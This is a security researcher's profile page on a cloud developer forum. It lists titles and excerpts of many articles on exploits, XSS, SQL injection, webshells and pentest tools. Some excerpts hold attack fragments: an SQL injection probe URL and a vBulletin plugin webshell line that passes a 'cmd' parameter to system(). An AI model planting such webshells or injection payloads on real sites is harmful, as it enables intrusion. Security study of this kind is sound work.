cnbird_个人页
cnbird
文章
4017
问答
3
视频
0
个人介绍
阿里云安全专家，主要负责阿里云云产品安全。
擅长的技术
-
发表了文章 2012-01-19
如何用Squid来实现Ajax跨域代理
什么是Ajax跨域代理？ 玩Ajax的应该知道我在说什么:) 简单说就是因为浏览器的安全限制，你不能直接获取你站点以外的xml文档。
-
发表了文章 2012-01-19
ajax跨域和js跨域解决方案 .
ajax跨域和JS的跨域通信(Cross The Site)的几种解决方案 最近做的一个项目中需要ajax跨域取得数据,如果是在本域中确实没有问题，但是放到二级域和其他域下浏览器直接就弹出提示框:“该页正在 1.什么引起了ajax跨域不能的问题 ajax本身实际上是通过XMLHttpRequest对象来进行数据的交互，而浏览器出于安全考虑，不允许js代码进行跨域操作，所以会警告。
-
发表了文章 2012-01-19
Harvesting Cross Site Scripting (XSS) Victims - Clicks, Keystrokes and Cookies
http://www.0x90.co.uk/2011/07/harvesting-cross-site-scripting-xss.
-
发表了文章 2012-01-18
ajax XMLHttpRequest五步使用法
1.建立XMLHttpRequest对象 2.注册回调函数 3.使用open方法设置和服务器交互的基本信息 4.
-
发表了文章 2012-01-18
Windows7 64位下搭建PyGTK开发环境
毕业设计用PyGTK实现的，理论上是可以跨平台的，但是其中用到的一些模块可能无法在Win下用（或许折腾折腾这些模块可以搞到win平台的，好吧，我没那么蛋疼） Win7上搭建GTK和PyG...
-
发表了文章 2012-01-18
soapclient.com soap pentest tools
http://www.soapclient.com/SoapTools.html
-
发表了文章 2012-01-18
Testing WSDL (OWASP-WS-002)
https://www.owasp.org/index.php/Testing_WSDL_(OWASP-WS-002) ...
-
发表了文章 2012-01-18
Configuration of Employee Self-Service (ESS)
http://help.sap.com/saphelp_erp2005/helpdata/en/38/e8584c2a664547b60442646bee23b6/content.
-
发表了文章 2012-01-17
明年要购买的书籍
http://product.china-pub.com/198630#ml http://product.
-
发表了文章 2012-01-17
mysql+php搜索型注入问题记录
http://xxx.com/search.php?dy=a%' and 1=1-- 错误 http://xxx.
-
发表了文章 2012-01-16
canvas and core impact中国购买地址
core impact http://www.xlsoft.com.cn/product.asp?action=1&id=775 http://www.
-
发表了文章 2012-01-16
Oracle GlassFish Server Administration Console Remote Authentication Bypass Vulnerability
http://www.securityfocus.com/data/vulnerabilities/exploits/47818.
-
发表了文章 2012-01-16
MySQL 'sql_parse.cc' Multiple Format String Vulnerabilities
#include #include #define USE_OLD_FUNCTIONS #include #define NullS (char *) 0 ...
-
发表了文章 2012-01-16
Cacti Multiple Input Validation Security Vulnerabilities
http://www.securityfocus.com/bid/39639/exploit
-
发表了文章 2012-01-16
Citrix Provisioning Services 'streamprocess.exe' Component Remote Code Execution Vulnerability
http://www.securityfocus.com/bid/45914/exploit
-
发表了文章 2012-01-16
Apache HTTP Server 'ap_pregsub()' Function Local Privilege Escalation Vulnerability
http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/DemoExploit.
-
发表了文章 2012-01-16
op5 Appliance Multiple Remote Command Execution Vulnerabilities
http://www.securityfocus.com/bid/51212/exploit
-
发表了文章 2012-01-16
Apache Tomcat information disclosure vulnerability
CVE-2010-1157: Apache Tomcat information disclosure vulnerability Severity: Low Vendor: The Ap...
-
发表了文章 2012-01-16
tomcat RequestDispatcher directory traversal vulnerability
CVE-2008-5515: Apache Tomcat information disclosure vulnerability Severity: Important Vendor: ...
-
发表了文章 2012-01-16
JBoss Cache NonManagedConnectionFactory will log the password in clear text when an exception occurs
http://anonsvn.jboss.org/repos/jbosscache/core/trunk/src/main/java/org/jboss/cache/loader/NonManagedConnectionFactory.
-
发表了文章 2012-01-15
CVE-2011-4107 PoC - phpMyAdmin Local File Inclusion via XXE injection
CVE-2011-4107 PoC - phpMyAdmin Local File Inclusion via XXE injection An interesting local...
-
发表了文章 2012-01-11
Backtrack5安装Arachni
apt-get install libxml2-dev libxslt1-dev libcurl4-openssl-dev libsqlite3-dev 2、安装arachni gem ...
-
发表了文章 2012-01-11
Arachni – Web Application Vulnerability Scanning Framework
https://github.com/Zapotek/arachni/downloads
-
发表了文章 2012-01-10
php在线编码
http://yehg.net/encoding/
-
发表了文章 2012-01-10
sqlmap video
http://www.youtube.com/watch?v=SG7V5acSgIY http://www.
-
发表了文章 2012-01-09
Company teamview number
304 563 977
-
发表了文章 2012-01-06
Oracle GlassFish Server Administration Bypass
http://packetstormsecurity.org/files/108381/NGS00106.txt
-
发表了文章 2012-01-06
Apache Struts2 File Overwrite / Command Execution
http://dl.packetstormsecurity.net/1201-exploits/SA-20120104-0.
-
发表了文章 2012-01-05
bypassing waf's in sql injection
http://packetstorm.wowhacker.com/papers/attack/bypass-waf.
-
发表了文章 2012-01-05
Time-Based Blind NoSQL Injection
http://packetstorm.wowhacker.com/papers/general/timebased-nosql.
-
发表了文章 2012-01-04
Cold Fusion Hacking
http://www.blackhatacademy.org/security101/index.
-
发表了文章 2012-01-04
跨站腳本攻擊（XSS）：過濾不完的惡夢，又有新攻擊語法！
跨站腳本攻擊（Cross Site Scripting，簡稱 XSS，亦翻為跨網站的入侵字串）又有新的攻擊語法！此次觸發惡意腳本不需要用到 script 標籤（譬如 alert(1)），也不用 javascript 協定（譬如 javascript:alert(1)），而是 8 月 26 日所揭露的 是一個很早就有但普遍少用的標籤，其功能與、、，以及類似，都可供使用者輸入資料。
-
发表了文章 2011-12-31
web service hacking
http://www.soapui.org/SOAP-and-WSDL/web-service-hacking.
-
发表了文章 2011-12-30
Executing arbitrary code on websphere
/wssamplemtom/demo部署即可获得webshell /snoop www.
-
发表了文章 2011-12-30
Using CURL to exploit LFI to RCE from command line
http://www.youtube.com/watch?v=kf5kZIKtSO0&feature=player_embedded ...
-
发表了文章 2011-12-30
IBM Lotus Domino Authentication Bypass
# Exploit Title: IBM Lotus Domino Controller auth.
-
发表了文章 2011-12-30
Privilege escalation vulnerabilities in Nagios XI installer
================ Privilege escalation vulnerabilities in Nagios XI installer < 2011R1.
-
发表了文章 2011-12-30
Citrix XenDesktop, XenServer, Receiver 5.6 SP2 Pass-The-Hash
Tested against: Citrix XenDesktop, XenServer, Receiver 5.
-
发表了文章 2011-12-29
CentOS 安装xfce桌面+vncserver远程管理
现在便宜的VPS很多,有些买到都没用几次,在手上闲着还不如利用起来,虽然用ssh也可以管理,但是用图形可以做更多的事情,比如挂电驴,BT之类的.
-
发表了文章 2011-12-21
Splunk Remote Root Exploit
http://www.exploit-db.com/exploits/18245/ from sec1httplib.
-
发表了文章 2011-12-20
一例千万级pv高性能高并发网站架构
一例千万级pv高性能高并发网站架构 http://blog.liuts.com/post/234/ 受CU管理员的邀请参考“千万级pv高性能高并发网站架构与设计交流探讨帖”主题的交流，发表了一案例与大家分享。
-
发表了文章 2011-12-20
vBulletin 论坛全版本 后台拿shell
在后台，进插件管理.添加插件. Ajax_complete 填入代码:1 if(isset($_GET['cmd'])){echo "cmd"; system($_GET['cmd']...
-
发表了文章 2011-12-20
security 相关标准secure coding
http://www.cert.org/secure-coding/scstandards.
-
发表了文章 2011-12-16
Exchange 导出用户数据
首先，需要给管理用户提权，操作在另外一篇文章中有介绍，也可以参见http://technet.
-
发表了文章 2011-12-16
Monitoring von Cisco ASA und IPS über NAGIOS
Anbei die Konfigurationsschritte um über Nagios Cisco ASA oder IPS Appliances zu überwachen.
-
发表了文章 2011-12-15
jboss seam 远程执行漏洞利用步骤
目标:http://www.ip.comhttp://ip.com/welcome.seam?pwned=java.
-
发表了文章 2011-12-15
JBoss Seam Framework remote code execution
Here's interesting bug I found in JBoss Seam Framework, which led to remote code execution using JBoss EL expressions.
-
发表了文章 2011-12-14
lotus domino寻找用户查看过哪些邮件
Longrun/ZGYH/BJ() 9:29:32 好象要通过日志分析，然后在日志分析中查看邮件的UNID来确定用户看过的邮件，有点复杂…… Longrun/ZGYH/BJ() 9:30:15 而且是本地的loga4.
-
发表了文章 2011-12-12
nmap wordress 枚举脚本
http://nmap.org/svn/scripts/http-wordpress-enum.nse
-
发表了文章 2011-12-11
Configuration Management under FreeBSD with Cfengine 3.
http://unix-heaven.org/node/50 http://blog.zzamboni.
暂无更多信息
-
发表了文章
2018-02-06
Microsoft BuleHat 2018 Videos and Slides
-
发表了文章
2018-02-05
From Serialized to Shell :: Auditing Google Web Toolkit
-
发表了文章
2018-02-01
Microsoft Ignite Videos
-
发表了文章
2018-02-01
AWS Reinvent 2017 Security Sessions
-
发表了文章
2018-01-28
Google Patent
-
发表了文章
2018-01-28
GOOGLE CLOUD PLATFORM 安全性
-
发表了文章
2018-01-21
OBIEE Pentest
-
发表了文章
2018-01-20
分布式系统
-
发表了文章
2017-12-06
MTCS Certification Scheme
-
发表了文章
2017-12-03
Attack OGC WFS Implementation
-
发表了文章
2017-11-20
Alictf 2015决赛题目设计和解题思路
-
发表了文章
2017-11-12
Lync server 2013 部署开发常用工具下载
-
发表了文章
2017-08-23
Big Data Secuity Solution
-
发表了文章
2017-08-11
Google漏洞过滤规则研究
-
发表了文章
2017-08-10
INTEL Processor Trace for vulnerability discovery
-
发表了文章
2017-08-04
AWS自动化合规slide
-
发表了文章
2017-08-04
Secure Multi-party Computation
-
发表了文章
2017-08-01
Harvesting the Low-hanging Fruits: Defending Against Automated Large-Scale Cyber-Intrusions by Focus
-
发表了文章
2017-07-29
Blackhat 2017&Defcon 25学习笔记
-
发表了文章
2017-07-25
MapReduce技术的初步了解与学习
滑动查看更多
-
回答了问题
2015-02-02
【安全测试分享】阿里巴巴安全测试专家分享，等你来挑战！
Re【安全测试分享】阿里巴巴安全测试专家分享，等你来挑战！ 支持王挺，我是来支持王挺的赞0 踩0 评论0 -
提交了问题
2014-04-30
ECS可以做负载均衡吗
-
回答了问题
2014-04-30
ECS可以做负载均衡吗
ReECS可以做负载均衡吗 好的我去试试赞0 踩0 评论0
滑动查看更多
暂无更多信息